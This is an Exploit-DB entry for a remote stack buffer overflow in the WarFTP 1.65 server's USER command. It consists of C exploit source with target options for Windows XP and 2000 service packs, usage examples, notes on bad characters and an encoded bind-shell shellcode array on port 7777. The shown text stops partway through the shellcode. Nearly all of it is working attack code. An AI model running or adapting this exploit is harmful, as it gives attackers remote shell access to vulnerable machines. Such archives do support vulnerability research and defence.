Exploit-DB #3570
Description: WarFTP 1.65 - 'USER' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-03-25
Author: niXel

Exploit:
#include <stdio.h>
#include <string.h>
#include <winsock.h>

#define VULNSERVER         "WAR-FTPD 1.65"
#define VULNCMD     "\x55\x53\x45\x52\x20"
#define ZERO                        '\x00'
#define NOP                         '\x90'
#define VULNBUFF                      485
#define BUFFREAD                      128
#define PORT                           21
#define LENJMPESP                       4  

/* #############################################################################
   #####                                                                   #####
   #####                      WARFTP - VERSION 1.65                        #####
   #####                                                                   #####
   #####     WarFTP Username Stack-Based Buffer-Overflow Vulnerability     #####
   #####                                                                   #####
   #####  DESCRIPTION: WarFTP is prone to a stack-based buffer-overflow    #####
   #####     vulnerability because it fails to properly check boundaries   #####
   #####     on user-supplied data before copying it to an insufficiently  #####
   #####     sized buffer.                                                 #####
   #####                                                                   #####
   #####  FUNC VULNERABLE: sprintf(char *buffer, const char *format, argv) #####
   #####       0x004044E7: sprintf(0x00ACFB50, "%sCRLF", ExploitBuffer)    #####
   #####                                                                   #####
   #####  AFFECTED VERSION: 1.65                                           #####
   #####  USE: warftphack.exe IP_ADDRESS SO_&_SERVICE_PACK [ ESP ADDRESS ] #####
   #####     SO_&_SERVICE_PACK:                                            #####
   #####        [0]  Microsoft Windows XP Pro Spanish SP0                  #####          
   #####        [1]  Microsoft Windows XP Pro Spanish SP1                  #####
   #####        [2]  Microsoft Windows XP Pro Spanish SP2                  #####
   #####        [3]  Microsoft Windows XP Pro English SP0                  #####          
   #####        [4]  Microsoft Windows XP Pro English SP1                  #####
   #####        [5]  Microsoft Windows XP Pro English SP2                  #####   
   #####        [6]  Microsoft Windows 2000 Pro Spanish SP0                #####          
   #####        [7]  Microsoft Windows 2000 Pro Spanish SP1                #####
   #####        [8]  Microsoft Windows 2000 Pro Spanish SP2                #####
   #####        [9]  Microsoft Windows 2000 Pro Spanish SP3                #####
   #####        [10] Microsoft Windows 2000 Pro English SP0                #####          
   #####        [11] Microsoft Windows 2000 Pro English SP1                #####
   #####        [12] Microsoft Windows 2000 Pro English SP2                #####
   #####        [13] Microsoft Windows 2000 Pro English SP3                #####     
   #####        [14] Custom -> JMP ESP ADDRESS                             #####
   #####                                                                   #####  
   #####     EXAMPLE:  warftphack.exe 127.0.0.1 2                          #####
   #####     EXAMPLE2: warftphack.exe 127.0.0.1 14 0x776EDDFF              #####
   #####                                                                   #####
   #####  AUTOR: niXel - SYSCODE   (SPAIN)                                 #####
   #####  IDE: Dev-C ver-4.9.9.2                                           #####
   #####  COMPILER: MinGW                                                  #####
   #####  DEPENDENCES: Linker -> libwsock32.a                              #####
   #####  MAIL: Und3rground2002@hotmail.com                                #####
   #####                                                                   #####
   #############################################################################

      CAUTION: USER command vulnerable => no send \x40 (@) char into shellcode (user@host)
                                          no send \x0A (\n) char into shellcode
                                          no send \x0D (\r) char into shellcode
               FUNCTION sprintf => no send \x00 (\0) char into shellcode        

      ############################ BINDSHELLCODE ############################## 
                                       [7777]                                    */
                                       
char syscode[] = 
   "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
   "\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61"
   "\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x71\x32\x41\x42\x41\x32"
   "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x6d\x39\x4b\x4c\x32"
   "\x4a\x5a\x4b\x50\x4d\x6d\x38\x6b\x49\x49\x6f\x59\x6f\x39\x6f\x35"
   "\x30\x6c\x4b\x70\x6c\x65\x74\x37\x54\x4c\x4b\x42\x65\x47\x4c\x6e"
   "\x6b\x31\x6c\x46\x65\x33\x48\x43\x31\x48\x6f\x6c\x4b\x70\x4f\x65"
   "\x48\x6c\x4b\x73\x6f\x35\x70\x37\x71\x38\x6b\x31\x59\x4c\x4b\x46"
   "\x54\x6e\x6b\x53\x31\x58\x6e\x30\x31\x6f\x30\x4f\x69\x4e\x4c\x4b"
   "\x34\x49\x50\x41\x64\x46\x67\x49\x51\x7a\x6a\x46\x6d\x43\x31\x48"
   "\x42\x5a\x4b\x38\x74\x47\x4b\x30\x54\x64\x64\x51\x38\x42\x55\x4b"
   "\x55\x4e\x6b\x53\x6f\x51\x34\x43\x31\x4a\x4b\x50\x66\x4e\x6b\x46"
   "\x6c\x42\x6b\x4c\x4b\x73\x6f\x75\x4c\x33\x31\x5a\x4b\x65\x53\x34"
   "\x6c\x6e\x6b\x6d\x59\x30\x6c\x57\x54\x55\x4c\x55\x31\x4b\x73\x74"
   "\x71\x69\x4b\x65\x34\x6e\x6b\x43\x73\x74\x70\x6c\x4b\x67\x30\x46"
   "\x6c\x6c\x4b\x70\x70\x67\x6c\x6e\x4d\x6c\x4b\x57\x30\x44\x48\x71"
   "\x4e\x72\x48\x4e\x6e\x50\x4e\x54\x4e\x38\x6c\x70\x50\x4b\x4f\x4e"
   "\x36\x71\x76\x41\x43\x31\x76\x31\x78\x76\x53\x30\x32\x53\x58\x30"
   "\x77\x44\x33\x57\x42\x63\x6f\x70\x54\x6b\x4f\x48\x50\x73\x58\x58"
   "\x4b\x58\x6d\x6b\x4c\x57\x4b\x70\x50\x6b\x4f\x6a\x76\x71\x4f\x6d"
   "\x59\x4b\x55\x65